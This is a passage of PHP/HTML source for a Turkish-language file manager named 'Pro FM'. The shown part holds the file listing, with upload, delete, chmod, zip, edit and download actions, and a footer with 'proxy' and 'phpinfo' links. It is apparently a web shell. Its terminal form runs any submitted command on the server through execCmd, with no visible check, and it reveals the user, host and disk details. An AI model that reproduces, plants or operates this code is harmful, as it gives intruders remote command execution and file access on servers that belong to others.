'<div class="info-box"><b>CRC32</b><div class="val">' . @hash_file('crc32b', $f) . '</div></div>'; echo '<div class="info-box"><b>Boyut</b><div class="val">' . sz(filesize($f)) . ' (' . filesize($f) . ' bytes)</div></div>'; echo '<div class="info-box"><b>MIME</b><div class="val">' . (@mime_content_type($f) ?: '?') . '</div></div>'; echo '</div><div style="margin-top:12px"><a href="' . $url . '" class="btn btn-ghost"><span class="mi mi-sm">arrow_back</span> Geri</a></div></div>'; echo '</body></html>'; exit; } } // ==================== TOOLBAR ==================== ?> <div class="toolbar"> <form method="POST" enctype="multipart/form-data"> <input type="file" name="up[]" multiple required> <button class="btn btn-sm"><span class="mi mi-sm">upload</span> Yukle</button> </form> <div class="divider"></div> <form method="POST"> <input type="text" name="nd" placeholder="Klasor adi" required style="width:120px"> <button class="btn btn-sm"><span class="mi mi-sm">create_new_folder</span></button> </form> <form method="POST"> <input type="text" name="nf" placeholder="Dosya adi" required style="width:120px"> <button class="btn btn-sm"><span class="mi mi-sm">note_add</span></button> </form> </div> <!-- ==================== DOSYA LİSTESİ ==================== --> <form id="bulkForm" method="POST"> <input type="hidden" name="bulk_action" id="bulk_action" value=""> <input type="hidden" name="zip_name" id="zip_name" value=""> <input type="hidden" name="bulk_perm" id="bulk_perm" value=""> <div class="bulk-bar"> <span style="color:var(--blue);font-size:12px"><span class="mi mi-sm">checklist</span> Secili:</span> <span class="btn btn-sm btn-danger" onclick="doBulk('delete')"><span class="mi mi-sm">delete</span> Sil</span> <span class="btn btn-sm btn-warn" onclick="doBulk('chmod')"><span class="mi mi-sm">lock</span> Chmod</span> <span class="btn btn-sm" onclick="doBulk('zip')"><span class="mi mi-sm">folder_zip</span> Zip</span> </div> <div style="overflow-x:auto"> <table class="file-table"> <thead> <tr> <th style="width:30px"><input type="checkbox" class="cb" onclick="toggleAll(this)"></th> <th>Ad</th> <th>Boyut</th> <th>Izin</th> <th>Sahip</th> <th>Degistirilme</th> <th>Islemler</th> </tr> </thead> <tbody> <?php // Üst dizin $pr = dirname($D); if ($pr !== $D) { echo '<tr>'; echo '<td></td>'; echo '<td><a href="?d=' . urlencode($pr) . '" class="fname dir"><span class="mi">drive_folder_upload</span> ..</a></td>'; echo '<td>-</td>'; echo '<td>-</td>'; echo '<td>-</td>'; echo '<td>-</td>'; echo '<td></td>'; echo '</tr>'; } // Dosya ve klasörleri topla $items = @$F['s']($D); $dirs = []; $files = []; if (is_array($items)) { foreach ($items as $x) { if ($x === '.' || $x === '..') continue; is_dir($D . '/' . $x) ? $dirs[] = $x : $files[] = $x; } sort($dirs); sort($files); } // Sahip bilgisi function getOwner($path) { if (function_exists('posix_getpwuid')) { $o = @posix_getpwuid(@fileowner($path)); $g = @posix_getgrgid(@filegroup($path)); return ($o['name'] ?? '?') . ':' . ($g['name'] ?? '?'); } return @fileowner($path) . ':' . @filegroup($path); } // ===== KLASÖRLER ===== foreach ($dirs as $d) { $rp = $D . '/' . $d; $p = substr(sprintf('%o', @fileperms($rp)), -4); $m = date("Y-m-d H:i", @filemtime($rp)); $own = getOwner($rp); echo '<tr>'; echo '<td><input type="checkbox" name="sel[]" value="' . htmlentities($d) . '" class="cb sel-cb"></td>'; echo '<td><a href="?d=' . urlencode($rp) . '" class="fname dir"><span class="mi">folder</span> ' . htmlentities($d) . '</a></td>'; echo '<td class="size">-</td>'; echo '<td class="perm">' . $p . '</td>'; echo '<td class="perm">' . $own . '</td>'; echo '<td class="date">' . $m . '</td>'; echo '<td class="actions">'; echo '<button type="button" class="btn-icon" onclick="rn(\'' . addslashes($d) . '\')" title="Yeniden Adlandir"><span class="mi mi-sm">drive_file_rename_outline</span></button>'; echo '<button type="button" class="btn-icon" onclick="chm(\'' . addslashes($d) . '\')" title="Chmod"><span class="mi mi-sm">lock</span></button>'; echo '<a href="' . $url . '&del=' . urlencode($d) . '" class="btn-icon" onclick="return confirm(\'Klasor ve icerigi silinecek!\')" title="Sil"><span class="mi mi-sm" style="color:var(--red)">delete</span></a>'; echo '</td></tr>'; } // ===== DOSYALAR ===== foreach ($files as $f) { $rp = $D . '/' . $f; $s = sz(@filesize($rp)); $p = substr(sprintf('%o', @fileperms($rp)), -4); $m = date("Y-m-d H:i", @filemtime($rp)); $own = getOwner($rp); $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); $icon = fileIcon($ext); $isZip = in_array($ext, ['zip', 'tar', 'gz', 'rar', '7z']); echo '<tr>'; echo '<td><input type="checkbox" name="sel[]" value="' . htmlentities($f) . '" class="cb sel-cb"></td>'; echo '<td><span class="fname"><span class="mi">' . $icon . '</span> ' . htmlentities($f) . '</span></td>'; echo '<td class="size">' . $s . '</td>'; echo '<td class="perm">' . $p . '</td>'; echo '<td class="perm">' . $own . '</td>'; echo '<td class="date">' . $m . '</td>'; echo '<td class="actions">'; echo '<a href="' . $url . '&view=' . urlencode($f) . '" class="btn-icon" title="Onizle"><span class="mi mi-sm">visibility</span></a>'; echo '<a href="' . $url . '&edit=' . urlencode($f) . '" class="btn-icon" title="Duzenle"><span class="mi mi-sm">edit</span></a>'; echo '<a href="' . $url . '&dl=' . urlencode($f) . '" class="btn-icon" title="Indir"><span class="mi mi-sm" style="color:var(--green)">download</span></a>'; echo '<a href="' . $url . '&hash=' . urlencode($f) . '" class="btn-icon" title="Hash"><span class="mi mi-sm">fingerprint</span></a>'; echo '<button type="button" class="btn-icon" onclick="rn(\'' . addslashes($f) . '\')" title="Yeniden Adlandir"><span class="mi mi-sm">drive_file_rename_outline</span></button>'; echo '<button type="button" class="btn-icon" onclick="chm(\'' . addslashes($f) . '\')" title="Chmod"><span class="mi mi-sm">lock</span></button>'; echo '<button type="button" class="btn-icon" onclick="cpFile(\'' . addslashes($f) . '\')" title="Kopyala"><span class="mi mi-sm">content_copy</span></button>'; echo '<button type="button" class="btn-icon" onclick="mvFile(\'' . addslashes($f) . '\')" title="Tasi"><span class="mi mi-sm">drive_file_move</span></button>'; if ($isZip && $ext === 'zip') echo '<a href="' . $url . '&unzip=' . urlencode($f) . '" class="btn-icon" title="Zip Cikar"><span class="mi mi-sm" style="color:var(--yellow)">unarchive</span></a>'; echo '<a href="' . $url . '&del=' . urlencode($f) . '" class="btn-icon" onclick="return confirm(\'Dosya silinecek!\')" title="Sil"><span class="mi mi-sm" style="color:var(--red)">delete</span></a>'; echo '</td></tr>'; } if (empty($dirs) && empty($files)) { echo '<tr><td colspan="7" style="text-align:center;color:var(--text2);padding:30px"><span class="mi" style="font-size:36px;display:block;margin-bottom:8px;opacity:.3">folder_off</span>Klasor bos.</td></tr>'; } ?> </tbody> </table> </div> </form> <!-- ==================== TERMİNAL ==================== --> <div class="term-wrap"> <form method="POST" class="term-form"> <span class="term-prompt"><?php echo htmlentities(function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user()); ?>@<?php echo htmlentities(php_uname('n')); ?>:<?php echo htmlentities($D); ?>$</span> <input type="text" name="cmd" class="term-input" placeholder="komut girin..." autocomplete="off" autofocus> <button class="btn"><span class="mi mi-sm">play_arrow</span></button> </form> <?php if (isset($_POST['cmd']) && !empty(trim($_POST['cmd']))) { $cmd = $_POST['cmd']; // cd komutu desteği if (preg_match('/^cd\s+(.+)/', $cmd, $cdMatch)) { $target = trim($cdMatch[1]); if ($target === '~') $target = getenv('HOME') ?: '/root'; if ($target[0] !== '/') $target = $D . '/' . $target; $resolved = realpath($target); if ($resolved && is_dir($resolved)) { header("Location: ?d=" . urlencode($resolved)); exit; } else { echo '<div class="term-output" style="color:var(--red)">cd: ' . $target . ': Dizin bulunamadi</div>'; } } else { $output = execCmd('cd ' . escapeshellarg($D) . ' && ' . $cmd); echo '<div class="term-output">' . htmlspecialchars($output) . '</div>'; } } ?> </div> <!-- ==================== FOOTER ==================== --> <div style="text-align:center;margin-top:15px;padding:10px;color:var(--text2);font-size:11px;border-top:1px solid var(--border)"> <span class="mi mi-sm" style="vertical-align:middle">terminal</span> Pro FM — PHP <?php echo phpversion(); ?> — <?php $items = @$F['s']($D); $dc = 0; $fc = 0; if (is_array($items)) { foreach ($items as $x) { if ($x === '.' || $x === '..') continue; is_dir($D . '/' . $x) ? $dc++ : $fc++; } } echo $dc . ' klasor, ' . $fc . ' dosya'; $td = @disk_total_space($D); $fd = @disk_free_space($D); if ($td) echo ' — Disk: ' . sz($fd) . ' / ' . sz($td) . ' bos'; ?> </div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings